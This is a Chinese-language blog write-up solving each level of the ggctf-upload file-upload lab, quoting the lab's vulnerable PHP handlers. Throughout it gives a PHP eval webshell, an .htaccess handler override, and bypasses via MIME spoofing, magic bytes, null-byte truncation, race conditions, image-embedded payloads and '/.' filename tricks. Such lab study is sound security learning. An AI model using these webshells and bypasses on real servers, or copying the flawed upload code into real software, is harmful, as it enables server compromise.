File Upload: ggctf-upload

File Upload: ggctf-upload

《学了一天 file-uploads之直接换到国光师傅的靶场.jpg》 主要是file-uploads 看上去还有很多的 open的issue,我自己闯关的时候也碰到了很多问题,在docker里面很多环境内容改起来也不舒服,刚好看到国光师傅写的这个ggctf-upload,有配套的wp并且长得也好看就是了

JS

第一关是一个前端后缀名检查绕过

解法一:抓包修改白名单

用Burp拦截之后增加php到whitelist中就好了(白名单再强能被改就是白给233)

上传成功,用蚁剑连接一下试试(这里可以在网页源码或者Burp的返回请求中看到图片的链接,如果临时文件存放的名字被改了就用得上)

用到的一句话木马

<?php @eval($_POST["a"]);?>

PHP中@的作用,本质上就是可以忽略所有的错误信息

解法二:禁用JS

利用浏览器的选项或者插件禁用JS之后,客户端的过滤就失效了

解法三:JS debug

在定义白名单出打上断点,然后刷新一下,步过之后修改白名单的内容即可(chrome可以直接在边上的Scopes中改,firefox直接console定义一下即可)

解析上传

自本文完成,国光的wp并未更新第二题,但是类似的利用很多,本文主要是利用.htaccess的特性来修改服务器对于文件的解析来实现绕过

  • .htaccess的作用 .htaccess文件是Apache服务器下的一个配置文件,主要用于 相关目录 下的网页配置 其作用域为其所在目录与所有的子目录,但是如果子目录中的 .htaccess 会覆盖父目录的效果

因此我们通过上传一个 .htaccess 文件来修改 upload 目录下对于文件的解析来实现绕过

以此上传两个文件

  • .htaccess trojan.jpg 文件当作 php 来解析

    <!-- .htaccess -->
    <FilesMatch "trojan.jpg">
    Sethandler application/x-httpd-php
    </FilesMatch>
    

以及含有一句话木马的 trojan.jpg

<?php @eval($_POST["a"]);?>

之后就可以用蚁剑测试连接成功(我这里发现测试连接性会报错,但是实际添加了连接是可以连接的)

感觉其实要是像upload-files一样把源码贴出来就好了233

最后我们来一起看一下php源码,主要是利用了黑名单过滤所有的webshell

if (!empty($_POST['submit'])) {
            $name = basename($_FILES['file']['name']);
            $ext = pathinfo($name)['extension'];
            $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
            if (!in_array($ext, $blacklist)) {
                if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
                    $is_upload = true;
                } else {
                    echo "<script>error();</script>";
                }
            } else {
                echo "<script>black();</script>";
            }

        }
basename()
basename(string $path, string $suffix = “”): string path: 文件路径 suffix: 文件后缀 return: 文件名(有/无后缀)
pathinfo
pathinfo(string $path, int $flags = PATHINFO_ALL): array|string path: 文件路径 flags: 指定需要返回的内容{dirname, basename, extension, filename} return: 根据flags决定, 多个内容的话就会返回数组(默认全部)

MIME 绕过

首先我们根据提示信息来认识一下 MIME

媒体类型(通常称为 Multipurpose Internet Mail Extensions 或 MIME 类型 )是一种标准,用来表示文档、文件或字节流的性质和格式。

MIME的组成结构非常简单;由类型与子类型两个字符串中间用 ‘/’ 分隔而组成。不允许空格存在。

  • type 表示可以被分多个子类的独立类别。
  • subtype 表示细分后的每个类型

通用的结构为:

type/subtype

MIME类型对大小写不敏感,但是传统写法都是小写。

然后查看源码

if (!empty($_POST['submit'])) {
    if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/png", "image/gif", "image/jpg"])) {
        echo "<script>black();</script>";
    } else {
        $name = basename($_FILES['file']['name']);
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            $is_upload = true;
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    }
}

这里检查的方式是检查 $_FILES['file']['type'] 的值,这里我们来学习一下PHP的 superglobals: $_FILES,以及其相关的用法

$_FILES
PHP官网:“An associative array of items uploaded to the current script via the HTTP POST method.” 即一个存放所有通过 POST 方法上传的文件信息的数组

然后我们来看看 POST 上传中所包含文件的信息

$_FILES[‘userfile’][’name’]
从客户端上传的文件的原始名字
$_FILES[‘userfile’][’type’]
文件的MIME types
$_FILES[‘userfile’][‘size’]
文件的大小(bytes)
$_FILES[‘userfile’][’tmp_name’]
用于存储文件将要存放在server的临时名字
$_FILES[‘userfile’][’error’]
上传失败的错误信息
$_FILES[‘userfile’][‘full_path’]
浏览器提交的完整路径? PHP8.1.0支持

接着我们来看本次文件上传的HTTP请求

是不是能发现我们刚刚提到过的 $_FILES 的信息? userfile = “file” $_FILES[‘userfile’][’type’] = “text/php” $_FILES[‘userfile’][’name’] = “trojan.php”

因此我们通过抓包后修改 MIME 格式为白名单中的任意一个图片格式即可绕过

蚁剑连接测试成功

文件头绕过

题目提示给的信息已经很多全面了,每一个文件的开头都存放了响应的格式指示,因此我们的目标就是修改这个文件头来实现绕过

接着我们结合源码来看,后台首先还是检测了上题的 MIME 类型,需要修改一下,接着校验了三个图片格式的文件头是否存在于文件内

if (!in_array($_FILES['file']['type'], ["image/jpeg", "image/jpg", "image/png", "image/gif"])) {
    echo "<script>black();</script>";
} else if (!in_array(bin2hex($bin), ["89504E47", "FFD8FFE0", "47494638"])) {
    echo "<script>black();</script>";
} else {
    $name = basename($_FILES['file']['name']);
    if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
        $is_upload = true;
    } else {
        echo "<script>error();</script>";
    }
}

那我们只需要用Burp截取请求之后,修改MIME类型以及加上文件头即可

蚁剑连接成功

JPEG (jpg),文件头:FFD8FF, ÿØÿ PNG (png),文件头:89504E47, .PNG GIF (gif),文件头:47494638, GIF8 HTML (html),文件头:68746D6C3E, html> ZIP Archive (zip),文件头:504B0304, PK.. RAR Archive (rar),文件头:52617221, Rar! Adobe Acrobat (pdf),文件头:255044462D312E, %PDF-1. MS Word/Excel (xls.or.doc),文件头:D0CF11E0, ÐÏ.à

有缺陷的代码1

根据题目提示结合源码,我们得知这里用了一个黑名单来过滤所有的webshell以及htaccess后缀的文件,猜测绕过可能发生在方法 str_ireplace 身上

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");

    $name = str_ireplace($blacklist, "", $name);

    if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
        $is_upload = true;
    } else {
        echo "<script>error();</script>";
    }
}

根据以前绕过类似黑名单的经历,这里的 str_ireplace 简单的将所有的匹配替换为空,非常的危险,我们可以通过复写拼接的手段来进行绕过过滤

例如 pphphp 第一个碰到的php被替换之后,就可以形成一个完整的php后缀了

蚁剑连接测试成功

有缺陷的代码2

因为提示与上一题基本类似,不过提到了手动改成了Windows的特性,因此我们直接一起来看一下源码吧

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");

    $name = str_replace($blacklist, " ", $name);

    if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
        $is_upload = true;
    } else {
        echo "<script>error();</script>";
    }
}

发现这次的 str_replace() 方法替换的是空格,因此没办法用上一遍的套路

仔细一看,此replace非彼replace,这个 str_replace 是case sensitive而前一个的 str_ireplace 指的就是 case insensitive

那么我们用 Php 即可完成绕过

但是就像提示所说的那样,这题实际用蚁剑是没有办法成功连接的,因为毕竟只是模拟windows环境,本质上还是linux,不存在这样的漏洞

古老的漏洞 - 1

根据本题的提示,这是一个00漏洞,说其古老主要是因为只有在PHP版本小于5.3.4版本才有效,并且要求magic_quotes_gpc = Off的情况(我们在sqli-labs的学习中看到过这个)

结合源码来看,这里用了一个严格的白名单过滤,并且利用随机临时文件名,让我们无法使用 htaccess 来修改指定文件的配置

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $info = pathinfo($name);
    $ext = $info['extension'];
    $whitelist = array("jpg", "jpeg", "png", "gif");
    if (in_array($ext, $whitelist)) {

        $filename = rand(10, 99) . date("YmdHis") . "." . $ext;
        $des = $_GET['road'] . "/" . $filename;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
            $is_upload = true;
        } else {
            echo "<script>black();</script>";
        }
    } else {
        echo "文件类型不匹配";
    }
}

因此我们我们通过修改POST的文件路径在后面加上 trojan.php%00,然后将上传的文件改成gif格式,这样在上面进行后缀判断的时候,用的就是 gif,而进行存储的时候提取的后缀名就会因为 %00 的关系忽略最后的 gif 以及临时文件名的名字而只保存 trojan.php

最后通过蚁剑连接成功

古老的漏洞 - 2

这题同样是利用00截断,只不过是发生在了 POST 请求上面

这里别忘了用URL解码一下,因为不像上一题是放在url里面会自动解析

蚁剑连接成功

黑名单缺陷

看源码,观察到用了一个黑名单来过滤webshell,但是一看就比之前遇到过的黑名单短了很多,我们这里利用webshell会有很多的解析的变种来完成绕过

将文件的后缀改为 php4 即可完成绕过

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("asp","aspx","php","jsp","htaccess");

    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            $is_upload = true;
        } else {
            echo "<script>error();</script>";
        }
    } else {
            echo "<script>black();</script>";
    }
}

条件竞争

其实根据提醒我们已经可以有一个明确的思路了,就是我们利用系统一次只能处理一件事情的特性,通过同时发起上传以及访问的请求,导致服务器还来不及处理删除却先执行访问,导致webshell的写入

我们在结合源码来看,这里采用了白名单的手段避免了任何的绕过,所以我们来利用条件竞争来尝试绕过

if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $upload_file = UPLOAD_PATH . '/' . $name;
    $whitelist = array('jpg','png','gif','jpeg');

    if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
        if(in_array($ext,$whitelist)){
            $rename_file = rand(10, 99).date("YmdHis").".".$ext;
            $img_path = UPLOAD_PATH . '/'. $rename_file;
            rename($upload_file, $img_path);
            $is_upload = true;
        }else{
            echo "<script>black();</script>";
            unlink($upload_file);
        }
    }
}

我们通过Burp的Intruder进行无限制的请求,一边上传文件,这将触发服务器进行审核以及删除,一边访问 shell.php 来调用,最终服务器会因为来不及删除而导致webshell被成功调用, trojan.php 被写入。

最终我们可以看到 trojan.php 被成功写入,同时用蚁剑测试连接成功

二次渲染

根据提示信息,我们知道我们所上传的图片马会被二次渲染,导致失效,因此我们分不同的图片格式来绕过 同时我们点击查看提示的按钮,可以发现url发生了变化,结合源码,我们发现这里可以用来解析我们上传成功绕过渲染的图片马,形成文件上传漏洞

<center><button type="button" class="btn btn-success" onclick="window.location.href=('?file=hint.html')">点击查看 “提示”</button></center><br>

<p class="lead">
    目前很多网站都会对用户上传的图片再次压缩、裁剪等渲染操作,所以普通的图片马都难逃被渲染的悲剧,那么有没有那种可以绕过渲染的图片呢?<br/><br/>

<?php
    include($_GET['file']);
?>
<center><button type="button" class="btn btn-success" onclick="window.location.href=('?file=hint.html')">点击查看 “提示”</button></center><br>

GIF

} else if(($fileext == "gif") && ($filetype=="image/gif")){
    if(move_uploaded_file($tmpname, $upload_file)){
         //使用上传的图片生成新的图片
        $im = imagecreatefromgif($upload_file);

        if($im == false){
            echo "<script>black();</script>";
            @unlink($upload_file);
        } else {
            //给新图片指定文件名
            srand(time());
            $newfilename = strval(rand()).".gif";

            //显示二次渲染后的图片(使用用户上传图片生成的新图片)
            $img_path = UPLOAD_PATH.'/'.$newfilename;

            imagegif($im,$img_path);
            @unlink($upload_file);
            $is_upload = true;

        }
    } else {
        echo "<script>error();</script>";
    }
}

我们用 Hex Friend 对比一下原gif和上传后二次渲染的gif

然后将一句话木马插入到没有被修改的位置即可 可以看到经过二次渲染的图片仍然含有一句话木马

再利用发现的漏洞,解析上传成功的图片马,蚁剑测试连接成功

PNG

} else if(($fileext == "png") && ($filetype=="image/png")){
    if(move_uploaded_file($tmpname, $upload_file)){
         //使
        $im = imagecreatefrompng($upload_file);

        if($im == false){
            echo "<script>black();</script>";
            @unlink($upload_file);
        } else {
            //给新图片指定文件名
            srand(time());
            $newfilename = strval(rand()).".png";

            //显示二次渲染后的图片(使用用户上传图片生成的新图片)
            $img_path = UPLOAD_PATH.'/'.$newfilename;

            imagepng($im,$img_path);
            @unlink($upload_file);
            $is_upload = true;

        }
    }
  • 前置知识

    在介绍两种写入php一句话木马到PNG图片的方法之前,我们先来了解一下PNG图片的组成,参考janes师傅的文章:php imagecreatefrom* 系列函数之 png

    PNG 图片有三种图像模式:索引彩色图像(index-color images),灰度图像(grayscale images),真彩色图像(true-color images), 其中索引彩色图像也称为基于调色板图像(Palette-based images)。不同的图片模式主要是包含的信息,展现的图像不一样(色彩?)

    一个PNG文件油一个 png signature 以及多个 png chunk 组成

    PNG signature: png 标识 : 我们之前提到过的,用来指示文件格式的头部,8bites 89 50 4E 47 OD 0A 1A 0A

    PNG chunk: png 数据块 : PNG chunk又分为两种 - 关键数据块(critical chunk),标准数据块: IHDR, IDAT, IEND - 辅助数据块(ancillary chunks), 可选数据库: PLTE

    PNG 数据块结构 : png数据块由四个部分组成: 1. length: 4 bytes 2. type: 4 bytes 3. data 4. CRC: 4bytes

    接下来我们再简单介绍一些上面提到的标准数据块的作用,详细的信息可以参考文章或者参考更加专业的文档

    IHDR : 文件头数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中 只能有一个文件头数据块

    PLTE : 调色板数据块PLTE(palette chunk)包含有与索引彩色图像(indexed-color image)相关的彩色变换数据,它仅与索引彩色图像有关,而且要放在图像数据块(image data chunk)之前。

    IDAT : 图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。IDAT存放着图像 真正的数据信息

    IEND : 图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

    根据文章的实验,只能向索引彩色图像(index-color images)的PLTE数据块插入php代码,其他都会被 imagecreatefrompng 渲染失效

  • 写入 PLTE 数据块

    我们可以先利用imagemagick将图片转换为索引图像/基于调色板图像(Palette-based images)

    convert png.png -type Palette png_trojan.png
    

    之后使用脚本来进行一句话木马的输入

    python2 poc_png.py -p '<?php @eval($_POST["a"]);?>' -o png_trojan.png png_trojan.png
    

    尝试上传

    查看二次渲染后的图片,发现一句话木马插入成功,蚁剑连接成功

  • 写入IDAT数据块

    利用脚本,

    下载二次渲染之后的图片,检查一句话木马

    shell利用成功

JPG

if(($fileext == "jpg") && ($filetype=="image/jpeg")){
                if(move_uploaded_file($tmpname, $upload_file)){
                     //使用上传的图片生成新的图片
                    $im = imagecreatefromjpeg($upload_file);

                    if($im == false){
                        echo "<script>black();</script>";
                        @unlink($upload_file);
                    } else {
                        //给新图片指定文件名
                        srand(time());
                        $newfilename = strval(rand()).".jpg";

                        //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                        $img_path = UPLOAD_PATH.'/'.$newfilename;

                        imagejpeg($im,$img_path);
                        @unlink($upload_file);
                        $is_upload = true;

                    }
                }

我们首先上传一张图片

然后下载二次渲染之后的图片,用脚本注入php payload(可以改一下注入的payload): BlackFan / jpg_payload

php php jpg_payload.php [uploaded_jpg_image]

然后我们检查payload是否注入成功

再次上传,下载二次渲染后的图片查看

最后尝试解析和使用,成功

尝试了很多不同的图片,感觉就像国光师傅总结的那样,图片越大,payload越小越容易成功,因为之前上传了很多小的图片,一句话木马都被截断了,猜测可能是因为图片太小,同时一句话木马太长了占用关键的部分所以被替换了

  1. 大图片
  2. 短payload
  3. 先上传二次渲染之后,再执行脚本,再上传

move_uploaded_file 绕过

我们看一下源码先

发现是一个白名单,那么肯定又需要利用一些有漏洞的方法或者操作系统的特殊机制了

if (!empty($_POST['submit'])) {
            $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

            $file_name = $_POST['save_name'];
            $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

            if(!in_array($file_ext, $deny_ext)) {
                $temp_file = $_FILES['file']['tmp_name'];
                $img_path = UPLOAD_PATH . '/' .$file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                }else{
                    echo "<script>error();</script>";
                }
            }else{
                echo "<script>black();</script>";
            }

        }

这里的漏洞在Smile师傅的笔记中有提到,即 move_uploaded_file 会忽略/.

那么我们通过构造文件名为 trojan.php/. 即可绕过白名单,同时使webshell被正常解析

蚁剑连接成功

代码审计

因为是代码审计,我们直接来看代码


$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
    //检查MIME
    $allow_type = array('image/jpeg','image/png','image/gif');
    if(!in_array($_FILES['upload_file']['type'],$allow_type)){
        $msg = "禁止上传该类型文件!";
    }else{
        //检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
        if (!is_array($file)) {
            $file = explode('.', strtolower($file));
        }

        $ext = end($file);
        $allow_suffix = array('jpg','png','gif');
        if (!in_array($ext, $allow_suffix)) {
            $msg = "禁止上传该后缀文件!";
        }else{
            $file_name = reset($file) . '.' . $file[count($file) - 1];
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $msg = "文件上传成功!";
                $is_upload = true;
            } else {
                $msg = "文件上传失败!";
            }
        }
    }
}else{
    $msg = "请选择要上传的文件!";
}

我们接着一块块来看源码中的审核机制以及我们对应的绕过

检查 MIME,因此我们需要在Burp中修改 MIME 类型

$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
    $msg = "禁止上传该类型文件!";

检查我们提交的 save_name 字符串是否为空,有内容的话使用我们自定义的文件保存名,接着检查是否为数组,如果不是的话就要使用 explode() 方法将内容用 ‘.’ 分隔为数组(感觉和其他语言中的 split() 方法很像)

explode()
  • explode(string $separator, string $string, int $limit = PHP_INT_MAX): array
  • Returns an array of strings created by splitting the string parameter on boundaries formed by the separator.
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
    $file = explode('.', strtolower($file));
}

接着取出数组最后一个元素进行后缀名校验

end()
  • end(array|object &$array): mixed
  • Returns the value of the last element or false for empty array.
$ext = end($file);
       $allow_suffix = array('jpg','png','gif');
       if (!in_array($ext, $allow_suffix)) {
           $msg = "禁止上传该后缀文件!";
       }

我们可以通过在 save_name 这个变量处传入一个数组,使最后一个元素为白名单的图片格式,再想办法在最后的存储的时候,让最后一个元素的内容无效就行了

$file = [0=>'shell.php/', 2=>'png']
reset()
  • reset(array|object &$array): mixed
  • Returns the value of the first array element, or false if the array is empty.

最后因为这里会拼接一个 '.' ,因此与之前的 '/' 构成我们上一关提到的 move_uploaded_file 的漏洞,即 /. 末尾的内容会被忽略,即可完成绕过,上传成功

$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];

上传成功使用蚁剑连接成功

comments powered by Disqus
Cogito, ergo sum
Built with Hugo
Theme Stack designed by Jimmy